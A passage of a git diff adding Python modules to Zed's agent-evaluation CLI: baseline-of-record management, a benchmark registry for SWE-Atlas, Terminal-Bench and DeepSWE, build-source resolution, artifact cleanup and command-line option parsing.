+        + "; ec=$?; "
+        + timeout_handler
+        + 'printf "%s\\n" "$ec" > "$status_file"; '
+        + 'exit "$ec" ) 2>&1 | '
+        + tee_command
+        + '; ec=1; if [ -s "$status_file" ]; then read ec < "$status_file"; fi; '
+        + 'rm -f "$status_file"; exit "$ec"'
+    )
+
+
+def patch_command(agent_dir: str) -> str:
+    patch_path = shlex.quote(f"{agent_dir}/patch.diff")
+    return (
+        "if git rev-parse --git-dir >/dev/null 2>&1; then "
+        "git add -A && "
+        "if git rev-parse --verify HEAD >/dev/null 2>&1; then "
+        f"git diff --cached HEAD -- > {patch_path} && "
+        f'echo "Patch size: $(wc -c < {patch_path}) bytes"; '
+        "else "
+        'echo "Git repo has no valid HEAD, skipping patch generation"; '
+        "fi; "
+        "else "
+        'echo "No git repo found, skipping patch generation"; '
+        "fi"
+    )
diff --git a/crates/eval_cli/zed_eval/baseline.py b/crates/eval_cli/zed_eval/baseline.py
new file mode 100644
index 00000000000000..a1dcf547443539
--- /dev/null
+++ b/crates/eval_cli/zed_eval/baseline.py
@@ -0,0 +1,205 @@
+"""Baseline-of-record management.
+
+A "baseline" is a completed run promoted to the canonical reference for its
+`(experiment, model)` pair. It only qualifies if its build came from a *clean*
+commit reachable from `origin/main` (no local patch) — so baselines are both
+obviously discoverable (the `baselines/` tree + `zed-eval baseline list`) and
+provably pinned to a commit on main. The judge preset is recorded but not gated,
+so non-leaderboard baselines are allowed.
+
+Records live on the shared volume at:
+
+    baselines/index.json                                  # roll-up for discovery
+    baselines/<experiment>/<model-slug>/current.json      # canonical pointer
+    baselines/<experiment>/<model-slug>/history/<sha>.json # superseded baselines
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+from typing import Any
+
+from . import config, source
+from .common import default_namespace, deployed_function, utc_now
+
+
+def _model_slug(model: str) -> str:
+    return source.sanitize_namespace(model)
+
+
+def _record_from_provenance(
+    *,
+    namespace: str,
+    fallback_experiment: str,
+    run_id: str,
+    provenance: dict[str, Any],
+) -> tuple[dict[str, Any], bool]:
+    request = provenance["request"]
+    summary = provenance["summary"]
+    build_info = provenance["build_info"]
+    source_info = build_info.get("source") or {}
+
+    experiment = request.get("experiment_name") or fallback_experiment
+    model = request.get("agent_model") or config.DEFAULT_MODEL
+    base_sha = build_info.get("base_sha")
+
+    record = {
+        "experiment": experiment,
+        "model": model,
+        "model_slug": _model_slug(model),
+        "judge": request.get("judge_preset") or request.get("judge"),
+        "base_sha": base_sha,
+        "base_ref": source_info.get("base_ref"),
+        "on_main": None,
+        "clean": not bool(build_info.get("patch_sha256")),
+        "build_id": build_info.get("build_id") or request.get("build_id"),
+        "run": {
+            "namespace": namespace,
+            "experiment_name": experiment,
+            "run_id": run_id,
+        },
+        "resources": {
+            "override_cpus": request.get("override_cpus"),
+            "override_memory_mb": request.get("override_memory_mb"),
+        },
+        "summary": {
+            "status": summary.get("status"),
+            "trial_count": summary.get("trial_count"),
+        },
+        "recorded_at": utc_now(),
+        "recorded_by": namespace,
+    }
+    return record, bool(build_info)
+
+
+def _baseline_problems(
+    *,
+    record: dict[str, Any],
+    has_build_info: bool,
+    repo_url: str,
+    allow_dirty: bool,
+    allow_off_main: bool,
+) -> tuple[list[str], bool | None]:
+    problems: list[str] = []
+    run_id = (record.get("run") or {}).get("run_id")
+    status = (record.get("summary") or {}).get("status")
+    base_sha = record.get("base_sha")
+
+    if not has_build_info:
+        problems.append(
+            f"no build-info found for run {run_id}; cannot verify provenance"
+        )
+    if status != "completed":
+        problems.append(f"run status is {status!r}, expected 'completed'")
+    if not record.get("clean") and not allow_dirty:
+        problems.append(
+            "build carries a local patch (not a clean commit); pass --allow-dirty to override"
+        )
+
+    on_main: bool | None = None
+    if base_sha:
+        try:
+            on_main = source.base_sha_on_main(base_sha, repo_url)
+        except Exception as error:  # noqa: BLE001 - surface any verification failure
+            if not allow_off_main:
+                problems.append(f"could not verify base_sha is on origin/main: {error}")
+        if on_main is False and not allow_off_main:
+            problems.append(
+                f"base_sha {base_sha[:12]} is not reachable from origin/main; "
+                "pass --allow-off-main to override"
+            )
+    elif not allow_off_main:
+        problems.append("build-info has no base_sha to verify against origin/main")
+
+    return problems, on_main
+
+
+def _print_refusal(run_id: str, problems: list[str]) -> None:
+    print(f"refusing to record baseline for {run_id}:")
+    for problem in problems:
+        print(f"  - {problem}")
+
+
+def _print_recorded(record: dict[str, Any]) -> None:
+    print(
+        f"recorded baseline: {record.get('experiment')} / {record.get('model')}  "
+        f"base_sha={str(record.get('base_sha'))[:12]} "
+        f"on_main={record.get('on_main')} clean={record.get('clean')} "
+        f"judge={record.get('judge')}"
+    )
+
+
+def command_baseline_record(args: argparse.Namespace) -> int:
+    namespace = default_namespace(args)
+    experiment_slug = source.sanitize_namespace(args.experiment_name)
+    repo_url = getattr(args, "repo_url", None) or source.DEFAULT_REPO_URL
+    read_run_provenance = deployed_function(args, "read_run_provenance")
+    record_baseline = deployed_function(args, "record_baseline")
+
+    exit_code = 0
+    for run_id in args.run_id:
+        provenance = read_run_provenance.remote(namespace, experiment_slug, run_id)
+        record, has_build_info = _record_from_provenance(
+            namespace=namespace,
+            fallback_experiment=args.experiment_name,
+            run_id=run_id,
+            provenance=provenance,
+        )
+        problems, on_main = _baseline_problems(
+            record=record,
+            has_build_info=has_build_info,
+            repo_url=repo_url,
+            allow_dirty=args.allow_dirty,
+            allow_off_main=args.allow_off_main,
+        )
+        record["on_main"] = on_main
+
+        if problems:
+            _print_refusal(run_id, problems)
+            exit_code = 1
+            continue
+
+        record_baseline.remote(record)
+        _print_recorded(record)
+    return exit_code
+
+
+def command_baseline_list(args: argparse.Namespace) -> int:
+    index = deployed_function(args, "read_baselines").remote(None, None, False)
+    rows = index.get("baselines") or []
+    if getattr(args, "json", False):
+        print(json.dumps(index, indent=2))
+        return 0
+    if not rows:
+        print("no baselines recorded")
+        return 0
+    header = (
+        f"{'EXPERIMENT':<20} {'MODEL':<32} {'BASE_REF':<14} "
+        f"{'SHA':<12} {'ON_MAIN':<8} {'JUDGE':<14} RUN"
+    )
+    print(header)
+    for row in rows:
+        print(
+            f"{(row.get('experiment') or ''):<20} "
+            f"{(row.get('model') or ''):<32} "
+            f"{(row.get('base_ref') or '') or '-':<14} "
+            f"{str(row.get('base_sha') or '')[:12]:<12} "
+            f"{str(row.get('on_main')):<8} "
+            f"{(row.get('judge') or '') or '-':<14} "
+            f"{row.get('run_id') or ''}"
+        )
+    return 0
+
+
+def command_baseline_show(args: argparse.Namespace) -> int:
+    result = deployed_function(args, "read_baselines").remote(
+        args.experiment_name,
+        _model_slug(args.model),
+        bool(getattr(args, "history", False)),
+    )
+    if not result or result.get("current") is None:
+        print(f"no baseline recorded for {args.experiment_name} / {args.model}")
+        return 1
+    print(json.dumps(result, indent=2))
+    return 0
diff --git a/crates/eval_cli/zed_eval/benchmarks.py b/crates/eval_cli/zed_eval/benchmarks.py
new file mode 100644
index 00000000000000..489ac1baabf16b
--- /dev/null
+++ b/crates/eval_cli/zed_eval/benchmarks.py
@@ -0,0 +1,239 @@
+"""Benchmark registry.
+
+A `Benchmark` describes everything the orchestrator needs to run one benchmark
+end-to-end that is *not* about the build source or the model: which harness runs
+it (Harbor or its Pier fork), how its dataset is provisioned, how a trial is
+scored, whether it needs an LLM judge, and the per-task timeout.
+
+Adding a benchmark should be a data change here, not new control flow. The three
+benchmark families currently supported are all Harbor-family harnesses:
+
+  - SWE-Atlas (qna / rf / tw): Harbor, rubric LLM judge.
+  - Terminal-Bench 2.1: Harbor, test-script scoring, no judge.
+  - DeepSWE: Pier (a Harbor fork with per-agent network allowlists, required
+    because DeepSWE tasks run with `allow_internet = false`), test scoring.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+
+# How a benchmark's dataset is made available to the harness.
+#   registry -> `-d <name>` pulled from the harness hub
+#   path     -> `-p <dir>` from a git repo cloned by the controller
+#   pier_path -> path dataset run under Pier instead of Harbor
+DATASET_REGISTRY = "registry"
+DATASET_PATH = "path"
+DATASET_PIER_PATH = "pier_path"
+
+HARNESS_HARBOR = "harbor"
+HARNESS_PIER = "pier"
+
+SCORING_RUBRIC_JUDGE = "rubric-judge"
+SCORING_TESTS = "tests"
+
+
+@dataclass(frozen=True)
+class DatasetRef:
+    kind: str
+    # For registry datasets: the hub dataset name. For path datasets: the repo
+    # URL plus a ref and the sub-directory the tasks live in.
+    name: str | None = None
+    repo_url: str | None = None
+    repo_ref: str | None = None
+    data_dir: str | None = None
+
+
+@dataclass(frozen=True)
+class Benchmark:
+    id: str
+    label: str
+    harness: str
+    dataset: DatasetRef
+    default_timeout_secs: int
+    scoring: str
+    needs_judge: bool
+    default_judge: str | None = None
+    # Hosts the in-sandbox agent must reach even on air-gapped tasks. Required by
+    # Pier benchmarks (DeepSWE) so eval-cli can still call the model API.
+    network_allowlist: tuple[str, ...] = ()
+    env: dict[str, str] = field(default_factory=dict)
+
+
+SWE_ATLAS_REPO_URL = "https://github.com/scaleapi/SWE-Atlas.git"
+SWE_ATLAS_REPO_REF = "main"
+DEEPSWE_REPO_URL = "https://github.com/datacurve-ai/deep-swe.git"
+DEEPSWE_REPO_REF = "main"
+
+# Model/judge API hosts the agent needs even under `allow_internet = false`.
+# Pier grants these to the agent via its per-agent allowlist.
+AGENT_API_HOSTS: tuple[str, ...] = (
+    "api.anthropic.com",
+    "api.openai.com",
+    "inference.baseten.co",
+)
+
+
+BENCHMARKS: dict[str, Benchmark] = {
+    "swe-atlas-qna": Benchmark(
+        id="swe-atlas-qna",
+        label="SWE-Atlas Codebase Q&A",
+        harness=HARNESS_HARBOR,
+        dataset=DatasetRef(kind=DATASET_REGISTRY, name="scale-ai/swe-atlas-qna"),
+        default_timeout_secs=7200,
+        scoring=SCORING_RUBRIC_JUDGE,
+        needs_judge=True,
+        default_judge="deepseek-v4-pro",
+    ),
+    "swe-atlas-rf": Benchmark(
+        id="swe-atlas-rf",
+        label="SWE-Atlas Refactoring",
+        harness=HARNESS_HARBOR,
+        dataset=DatasetRef(kind=DATASET_REGISTRY, name="scale-ai/swe-atlas-rf"),
+        default_timeout_secs=3300,
+        scoring=SCORING_RUBRIC_JUDGE,
+        needs_judge=True,
+        default_judge="kimi-k2.7-code",
+    ),
+    "swe-atlas-tw": Benchmark(
+        id="swe-atlas-tw",
+        label="SWE-Atlas Test Writing",
+        harness=HARNESS_HARBOR,
+        # Test writing is not consistently published in the same registry shape as qna/rf.
+        dataset=DatasetRef(
+            kind=DATASET_PATH,
+            repo_url=SWE_ATLAS_REPO_URL,
+            repo_ref=SWE_ATLAS_REPO_REF,
+            data_dir="data/tw",
+        ),
+        default_timeout_secs=3300,
+        scoring=SCORING_RUBRIC_JUDGE,
+        needs_judge=True,
+        default_judge="kimi-k2.7-code",
+    ),
+    "terminal-bench-2.1": Benchmark(
+        id="terminal-bench-2.1",
+        label="Terminal-Bench 2.1",
+        harness=HARNESS_HARBOR,
+        dataset=DatasetRef(
+            kind=DATASET_REGISTRY, name="terminal-bench/terminal-bench-2-1"
+        ),
+        default_timeout_secs=3300,
+        scoring=SCORING_TESTS,
+        needs_judge=False,
+        # Air-gapped tasks: the fetch/web-search tools can't reach the network,
+        # so disable them (via the agent profile in eval-cli) to stop the agent
+        # wasting its budget on tools that can only fail.
+        env={"ZED_EVAL_DISABLE_TOOLS": "fetch,search_web"},
+    ),
+    "deepswe": Benchmark(
+        id="deepswe",
+        label="DeepSWE",
+        harness=HARNESS_PIER,
+        dataset=DatasetRef(
+            kind=DATASET_PIER_PATH,
+            repo_url=DEEPSWE_REPO_URL,
+            repo_ref=DEEPSWE_REPO_REF,
+            # DeepSWE keeps its Harbor-compatible tasks at the repo root.
+            data_dir="tasks",
+        ),
+        default_timeout_secs=7200,
+        scoring=SCORING_TESTS,
+        needs_judge=False,
+        network_allowlist=AGENT_API_HOSTS,
+        # Air-gapped except the model API allowlist; fetch/web-search are useless.
+        env={"ZED_EVAL_DISABLE_TOOLS": "fetch,search_web"},
+    ),
+}
+
+
+# Groups expand to multiple benchmarks in one launch.
+BENCHMARK_GROUPS: dict[str, tuple[str, ...]] = {
+    "swe-atlas": ("swe-atlas-qna", "swe-atlas-rf", "swe-atlas-tw"),
+}
+
+# One short alias per benchmark whose canonical id is verbose.
+BENCHMARK_ALIASES: dict[str, str] = {
+    "qna": "swe-atlas-qna",
+    "rf": "swe-atlas-rf",
+    "tw": "swe-atlas-tw",
+    "tb21": "terminal-bench-2.1",
+}
+
+SWE_ATLAS_PART_BENCHMARKS: dict[str, str] = {
+    "qna": "swe-atlas-qna",
+    "rf": "swe-atlas-rf",
+    "tw": "swe-atlas-tw",
+}
+
+
+def get_benchmark(benchmark_id: str) -> Benchmark:
+    try:
+        return BENCHMARKS[benchmark_id]
+    except KeyError as error:
+        valid = ", ".join(sorted(BENCHMARKS))
+        raise ValueError(
+            f"unknown benchmark '{benchmark_id}' (valid: {valid})"
+        ) from error
+
+
+def is_benchmark_selector(selector: str) -> bool:
+    """Whether `selector` names a known benchmark id, alias, or group.
+
+    Used by `run` to validate benchmark positionals before preparing builds."""
+    normalized = selector.strip().lower()
+    return (
+        normalized in BENCHMARK_GROUPS
+        or normalized in BENCHMARKS
+        or normalized in BENCHMARK_ALIASES
+    )
+
+
+def resolve_benchmark_selector(selector: str) -> list[str]:
+    """Expands a user-facing selector (benchmark id, alias, or group) into the
+    concrete benchmark ids it refers to, preserving order."""
+    normalized = selector.strip().lower()
+    if normalized in BENCHMARK_GROUPS:
+        return list(BENCHMARK_GROUPS[normalized])
+    if normalized in BENCHMARKS:
+        return [normalized]
+    if normalized in BENCHMARK_ALIASES:
+        return [BENCHMARK_ALIASES[normalized]]
+    valid = ", ".join(sorted({*BENCHMARKS, *BENCHMARK_GROUPS, *BENCHMARK_ALIASES}))
+    raise ValueError(f"unknown benchmark '{selector}' (valid: {valid})")
+
+
+def resolve_benchmarks(selectors: list[str]) -> list[str]:
+    resolved: list[str] = []
+    for selector in selectors:
+        for part in selector.split(","):
+            part = part.strip()
+            if not part:
+                continue
+            for benchmark_id in resolve_benchmark_selector(part):
+                if benchmark_id not in resolved:
+                    resolved.append(benchmark_id)
+    return resolved
+
+
+def benchmark_metadata(benchmark: Benchmark) -> dict[str, object]:
+    """The self-describing block embedded in a run request so the controller and
+    harness-command builder need no separate registry lookup."""
+    return {
+        "id": benchmark.id,
+        "label": benchmark.label,
+        "harness": benchmark.harness,
+        "dataset": {
+            "kind": benchmark.dataset.kind,
+            "name": benchmark.dataset.name,
+            "repo_url": benchmark.dataset.repo_url,
+            "repo_ref": benchmark.dataset.repo_ref,
+            "data_dir": benchmark.dataset.data_dir,
+        },
+        "default_timeout_secs": benchmark.default_timeout_secs,
+        "scoring": benchmark.scoring,
+        "needs_judge": benchmark.needs_judge,
+        "default_judge": benchmark.default_judge,
+        "network_allowlist": list(benchmark.network_allowlist),
+        "env": dict(benchmark.env),
+    }
diff --git a/crates/eval_cli/zed_eval/builds.py b/crates/eval_cli/zed_eval/builds.py
new file mode 100644
index 00000000000000..9ce2fdd409d349
--- /dev/null
+++ b/crates/eval_cli/zed_eval/builds.py
@@ -0,0 +1,85 @@
+from __future__ import annotations
+
+import argparse
+from typing import Any
+
+from . import source
+
+
+def validate_build_id(build_id: str | None) -> None:
+    if build_id and source.sanitize_namespace(build_id) != build_id:
+        raise ValueError(
+            "build ids may only contain lowercase letters, numbers, '.', '_', and '-'"
+        )
+
+
+def prepare_build_request(
+    *,
+    base_sha: str | None,
+    patch_path: str | None,
+    build_id: str | None,
+    allow_untracked: bool,
+    require_clean: bool,
+    repo_url: str | None,
+    clean_source: bool = False,
+    source_label: str | None = None,
+    pre_resolved_base_sha: str | None = None,
+) -> dict[str, Any]:
+    validate_build_id(build_id)
+    source_info, patch = source.prepare_build_source(
+        base_sha=base_sha,
+        patch_path=patch_path,
+        allow_untracked=allow_untracked,
+        require_clean=require_clean,
+        repo_url=repo_url,
+        clean=clean_source,
+        source_label=source_label,
+        pre_resolved_base_sha=pre_resolved_base_sha,
+    )
+    resolved_build_id = build_id or source.compute_build_id(source_info=source_info)
+    return {
+        "build_id": resolved_build_id,
+        "base_sha": source_info["base_sha"],
+        "patch": patch,
+        "patch_sha256": source_info.get("patch_sha256"),
+        "source": source_info,
+        "toolchain": source.build_toolchain_info(),
+    }
+
+
+def resolve_source(
+    args: argparse.Namespace,
+) -> tuple[str | None, bool, str | None, str | None]:
+    """Unify the source selectors into
+    `(base_sha, clean_source, source_label, pre_resolved_base_sha)`.
+
+    Precedence: `--from` wins over `--zed-version` / `--base-sha`.
+
+      --from local         -> current HEAD + tracked patch (dev iteration)
+      --from <ref/tag/sha>  -> clean build of that ref, resolved canonically
+                               against the remote so everyone shares one build
+    """
+    repo_url = getattr(args, "repo_url", None) or source.DEFAULT_REPO_URL
+    from_source = getattr(args, "from_source", None)
+    if from_source:
+        if from_source.strip().lower() == "local":
+            return (
+                getattr(args, "base_sha", None),
+                bool(getattr(args, "clean_source", False)),
+                None,
+                None,
+            )
+        resolved = source.resolve_remote_ref(repo_url, from_source)
+        return None, True, from_source, resolved
+
+    zed_version = getattr(args, "zed_version", None)
+    if zed_version:
+        resolved = source.resolve_remote_ref(repo_url, zed_version)
+        return None, True, zed_version, resolved
+
+    return (
+        getattr(args, "base_sha", None),
+        bool(getattr(args, "clean_source", False)),
+        None,
+        None,
+    )
diff --git a/crates/eval_cli/zed_eval/cleanup.py b/crates/eval_cli/zed_eval/cleanup.py
new file mode 100644
index 00000000000000..03470fe8b60af5
--- /dev/null
+++ b/crates/eval_cli/zed_eval/cleanup.py
@@ -0,0 +1,93 @@
+"""Prune stale build artifacts and build cache from the shared volume.
+
+Eval results are sacrosanct: this only ever touches the build-related top-level
+directories listed in `PRUNABLE_DIRS`. `runs/` (the eval outputs) is never in
+that set and is never walked, so a bug here cannot delete results.
+
+The logic is pure-filesystem (no Modal dependency) so it can be unit-tested
+against a temporary directory; `modal_app` wraps it with volume reload/commit and
+a daily schedule.
+"""
+
+from __future__ import annotations
+
+import datetime
+import shutil
+import time
+from pathlib import Path
+from typing import Any
+
+# The ONLY top-level volume directories cleanup may modify. Eval results live in
+# runs/, which is deliberately absent here.
+PRUNABLE_DIRS = frozenset({"builds", "build-locks", "tmp"})
+
+DEFAULT_BUILD_RETENTION_DAYS = 14.0
+DEFAULT_LOCK_TTL_HOURS = 6.0
+DEFAULT_TMP_MAX_AGE_HOURS = 24.0
+
+
+def _age_days(path: Path) -> float:
+    try:
+        return (time.time() - path.stat().st_mtime) / 86400.0
+    except OSError:
+        return 0.0
+
+
+def prune_artifacts(
+    data_root: Path | str,
+    *,
+    dry_run: bool = False,
+    build_retention_days: float = DEFAULT_BUILD_RETENTION_DAYS,
+    lock_ttl_hours: float = DEFAULT_LOCK_TTL_HOURS,
+    tmp_max_age_hours: float = DEFAULT_TMP_MAX_AGE_HOURS,
+) -> dict[str, Any]:
+    data_root = Path(data_root)
+    removed: dict[str, list[Any]] = {
+        "builds": [],
+        "locks": [],
+        "tmp": [],
+    }
+
+    # 1. Stale content-addressed builds, aged by their READY marker (or the dir
+    #    itself for never-finished builds). Cheap to rebuild on demand.
+    builds_dir = data_root / "builds"
+    if builds_dir.is_dir():
+        for build_dir in sorted(builds_dir.iterdir()):
+            if not build_dir.is_dir():
+                continue
+            ready = build_dir / "READY"
+            age = _age_days(ready if ready.exists() else build_dir)
+            if age > build_retention_days:
+                removed["builds"].append(
+                    {"build_id": build_dir.name, "age_days": round(age, 1)}
+                )
+                if not dry_run:
+                    shutil.rmtree(build_dir, ignore_errors=True)
+
+    # 2. Orphaned single-flight build leases left by crashed builds.
+    locks_dir = data_root / "build-locks"
+    if locks_dir.is_dir():
+        for lock in sorted(locks_dir.glob("*.json")):
+            if _age_days(lock) * 24.0 > lock_ttl_hours:
+                removed["locks"].append(lock.name)
+                if not dry_run:
+                    lock.unlink(missing_ok=True)
+
+    # 3. Orphaned temp build dirs from failed/raced builds.
+    tmp_builds = data_root / "tmp" / "builds"
+    if tmp_builds.is_dir():
+        for entry in sorted(tmp_builds.iterdir()):
+            if _age_days(entry) * 24.0 > tmp_max_age_hours:
+                removed["tmp"].append(entry.name)
+                if not dry_run:
+                    if entry.is_dir():
+                        shutil.rmtree(entry, ignore_errors=True)
+                    else:
+                        entry.unlink(missing_ok=True)
+
+    return {
+        "dry_run": dry_run,
+        "at": datetime.datetime.now(datetime.timezone.utc).isoformat(),
+        "removed": removed,
+        "counts": {key: len(value) for key, value in removed.items()},
+    }
diff --git a/crates/eval_cli/zed_eval/cli.py b/crates/eval_cli/zed_eval/cli.py
new file mode 100644
index 00000000000000..e93c701b9c8090
--- /dev/null
+++ b/crates/eval_cli/zed_eval/cli.py
@@ -0,0 +1,787 @@
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+from . import benchmarks, config, source
+from .baseline import (
+    command_baseline_list,
+    command_baseline_record,
+    command_baseline_show,
+)
+from .common import (
+    AppNotDeployedError,
+    command_exists,
+    default_namespace,
+    deploy_app,
+    deployed_function,
+    print_json,
+)
+from .launch import command_build, command_rejudge, command_run, command_swe_atlas
+from .report import command_report
+from .volume import (
+    command_builds,
+    command_fetch,
+    command_list,
+    command_logs,
+    command_runs,
+    command_status,
+    command_suite_fetch,
+    command_suite_logs,
+    command_suite_status,
+    ensure_volume_exists,
+)
+
+
+def modal_secret_names() -> set[str]:
+    result = subprocess.run(
+        ["modal", "secret", "list", "--json"],
+        check=True,
+        capture_output=True,
+        text=True,
+    )
+    data = json.loads(result.stdout)
+    if not isinstance(data, list):
+        return set()
+    return {
+        item["name"] for item in data if isinstance(item, dict) and item.get("name")
+    }
+
+
+def command_doctor(args: argparse.Namespace) -> int:
+    namespace = default_namespace(args)
+    print("zed-eval doctor")
+    print(f"  namespace:          {namespace}")
+    print(f"  app:                {args.app_name}")
+    print(f"  volume:             {args.volume}")
+    print(f"  api secret:         {args.api_secret}")
+    print(f"  modal token secret: {args.modal_token_secret}")
+    print(f"  repo root:          {source.repo_root()}")
+    print(f"  base sha:           {source.current_base_sha()}")
+    print(f"  default model:      {config.DEFAULT_MODEL}")
+    print("  default judges:     qna=deepseek-v4-pro, rf/tw=kimi-k2.7-code")
+
+    missing = []
+    for executable in ("git", "modal", "harbor"):
+        if command_exists(executable):
+            print(f"  {executable}:             found")
+        else:
+            print(f"  {executable}:             missing")
+            missing.append(executable)
+
+    if missing:
+        print("\nMissing required executables: " + ", ".join(missing), file=sys.stderr)
+        return 1
+
+    try:
+        secrets = modal_secret_names()
+    except (subprocess.CalledProcessError, json.JSONDecodeError) as error:
+        print(
+            f"  secrets:          could not list Modal secrets: {error}",
+            file=sys.stderr,
+        )
+    else:
+        missing_secrets = [
+            secret_name
+            for secret_name in (args.api_secret, args.modal_token_secret)
+            if secret_name not in secrets
+        ]
+        if missing_secrets:
+            print(
+                "\nMissing Modal secret(s): " + ", ".join(missing_secrets),
+                file=sys.stderr,
+            )
+            print(
+                "Use --api-secret/--modal-token-secret to point at existing secrets, "
+                "or create the missing ones with `modal secret create`.",
+                file=sys.stderr,
+            )
+            return 1
+        print("  secrets:          found")
+        print(
+            "  controller token: use a dedicated Modal service-user token for production"
+        )
+
+    if args.create_volume:
+        return ensure_volume_exists(args)
+    return 0
+
+
+def command_deploy(args: argparse.Namespace) -> int:
+    deploy_app(args)
+    print(f"Deployed Modal app '{args.app_name}'.")
+    return 0
+
+
+def command_cleanup(args: argparse.Namespace) -> int:
+    request: dict[str, object] = {"dry_run": bool(args.dry_run)}
+    if args.build_retention_days is not None:
+        request["build_retention_days"] = args.build_retention_days
+    result = deployed_function(args, "cleanup_artifacts").remote(request)
+    print_json(result)
+    return 0
+
+
+def env_default(
+    variable_name: str, default: object, *, include_defaults: bool = True
+) -> object:
+    if not include_defaults:
+        return argparse.SUPPRESS
+    return os.environ.get(variable_name, default)
+
+
+def add_common_options(
+    parser: argparse.ArgumentParser, *, include_defaults: bool = True
+) -> None:
+    default_volume = env_default(
+        "AGENT_EVALS_VOLUME",
+        config.DEFAULT_VOLUME_NAME,
+        include_defaults=include_defaults,
+    )
+    default_namespace = None if include_defaults else argparse.SUPPRESS
+    default_api_secret = env_default(
+        "AGENT_EVALS_LLM_PROVIDERS_SECRET",
+        config.DEFAULT_LLM_PROVIDERS_SECRET_NAME,
+        include_defaults=include_defaults,
+    )
+    default_modal_token_secret = env_default(
+        "AGENT_EVALS_MODAL_TOKEN_SECRET",
+        config.DEFAULT_MODAL_TOKEN_SECRET_NAME,
+        include_defaults=include_defaults,
+    )
+    default_app_name = env_default(
+        "AGENT_EVALS_APP_NAME",
+        config.DEFAULT_APP_NAME,
+        include_defaults=include_defaults,
+    )
+    infra = parser.add_argument_group(
+        "infra options", "Modal app/volume/namespace and secret names (rarely changed)"
+    )
+    infra.add_argument(
+        "--app-name",
+        default=default_app_name,
+        help=f"Deployed Modal app name (default: {config.DEFAULT_APP_NAME})",
+    )
+    infra.add_argument(
+        "--volume",
+        default=default_volume,
+        help=f"Modal volume for builds/runs (default: {config.DEFAULT_VOLUME_NAME})",
+    )
+    infra.add_argument(
+        "--namespace",
+        default=default_namespace,
+        help="Run namespace inside the shared volume (default: env/git user/local user)",
+    )
+    infra.add_argument(
+        "--api-secret",
+        default=default_api_secret,
+        help=(
+            "Modal secret with the LLM provider keys mounted into trial sandboxes "
+            f"(default: {config.DEFAULT_LLM_PROVIDERS_SECRET_NAME})"
+        ),
+    )
+    infra.add_argument(
+        "--modal-token-secret",
+        default=default_modal_token_secret,
+        help=(
+            "Modal secret mounted into the controller with MODAL_TOKEN_ID and MODAL_TOKEN_SECRET; "
+            f"use a dedicated service-user token for production (default: {config.DEFAULT_MODAL_TOKEN_SECRET_NAME})"
+        ),
+    )
+
+
+def add_build_source_options(parser: argparse.ArgumentParser) -> None:
+    parser.add_argument(
+        "--from",
+        dest="from_source",
+        default=os.environ.get("AGENT_EVALS_FROM"),
+        help=(
+            "Unified build source: 'local' for current HEAD + tracked changes, "
+            "'main' for origin/main's tip, or a git ref/tag/SHA (e.g. v0.210.0) "
+            "for a clean build resolved canonically against the remote so "
+            "teammates share one build"
+        ),
+    )
+    parser.add_argument("--base-sha")
+    parser.add_argument("--patch-path")
+    parser.add_argument(
+        "--repo-url",
+        default=os.environ.get("AGENT_EVALS_REPO_URL", source.DEFAULT_REPO_URL),
+        help="Git remote the Modal builder fetches the base SHA from",
+    )
+    parser.add_argument(
+        "--allow-untracked",
+        action="store_true",
+        help="Proceed even when untracked files exist; they are not included in the build patch",
+    )
+    parser.add_argument(
+        "--require-clean",
+        action="store_true",
+        help="Fail if tracked changes are present",
+    )
+    parser.add_argument(
+        "--clean-source",
+        action="store_true",
+        help="Build exactly --base-sha/--zed-version with no local patch",
+    )
+    parser.add_argument(
+        "--zed-version",
+        help="Git ref/tag/SHA of Zed to build as a clean source snapshot",
+    )
+
+
+def add_model_options(parser: argparse.ArgumentParser) -> None:
+    parser.add_argument(
+        "-m",
+        "--model",
+        default=os.environ.get("AGENT_EVALS_MODEL", config.DEFAULT_MODEL),
+        help="Base model as provider/model, sonnet-4.6, baseten:kimi-k2.7-code, or baseten:<model-id>",
+    )
+    parser.add_argument(
+        "--extra-api-secret",
+        action="append",
+        help="Additional Modal secret name to mount into the trial sandbox",
+    )
+    advanced = parser.add_argument_group(
+        "advanced model options",
+        "Lower-level model routing. For Baseten, prefer --model baseten:<model-id>.",
+    )
+    advanced.add_argument(
+        "--model-provider",
+        choices=("zed", "baseten"),
+        default="zed",
+        help="Use 'zed' for built-in provider/model ids, or 'baseten' for Baseten Model APIs",
+    )
+    advanced.add_argument(
+        "--baseten-model",
+        help="Baseten model id when --model-provider baseten, e.g. moonshotai/Kimi-K2.7-Code",
+    )
+    advanced.add_argument("--baseten-model-display-name")
+    advanced.add_argument(
+        "--baseten-api-url",
+        default=config.BASETEN_API_URL,
+        help=f"Baseten OpenAI-compatible API URL (default: {config.BASETEN_API_URL})",
+    )
+    advanced.add_argument(
+        "--baseten-model-max-tokens",
+        type=int,
+        default=config.BASETEN_DEFAULT_MAX_TOKENS,
+    )
+    advanced.add_argument(
+        "--baseten-model-max-output-tokens",
+        type=int,
+        default=config.BASETEN_DEFAULT_MAX_OUTPUT_TOKENS,
+    )
+    advanced.add_argument(
+        "--openai-compatible-provider-json",
+        help="JSON object merged into language_models.openai_compatible before eval-cli resolves --model",
+    )
+    advanced.add_argument(
+        "--anthropic-available-models-json",
+        help="JSON array merged into language_models.anthropic.available_models before eval-cli resolves --model",
+    )
+
+
+def add_launch_options(parser: argparse.ArgumentParser) -> None:
+    add_model_options(parser)
+    parser.add_argument(
+        "-j",
+        "--judge",
+        default=os.environ.get("AGENT_EVALS_JUDGE", config.DEFAULT_JUDGE_PRESET),
+        choices=["auto", *sorted(config.JUDGES)],
+        help="Judge preset; auto uses qna=deepseek-v4-pro and rf/tw=kimi-k2.7-code",
+    )
+    parser.add_argument("--judge-model")
+    parser.add_argument(
+        "--build",
+        metavar="ID",
+        help="Reuse this build if it exists, otherwise create it with this id",
+    )
+    add_build_source_options(parser)
+    parser.add_argument("--build-wait-timeout-secs", type=int, default=7200)
+    parser.add_argument("--tasks", help="File containing one full task name per line")
+    parser.add_argument("--include-task-name", action="append")
+    parser.add_argument("-n", "--n-tasks", type=int, help="Forward harness --n-tasks")
+    parser.add_argument("--n-concurrent", type=int, default=config.DEFAULT_N_CONCURRENT)
+    parser.add_argument(
+        "--override-cpus", type=int, default=config.DEFAULT_OVERRIDE_CPUS
+    )
+    parser.add_argument(
+        "--override-memory-mb", type=int, default=config.DEFAULT_OVERRIDE_MEMORY_MB
+    )
+    parser.add_argument(
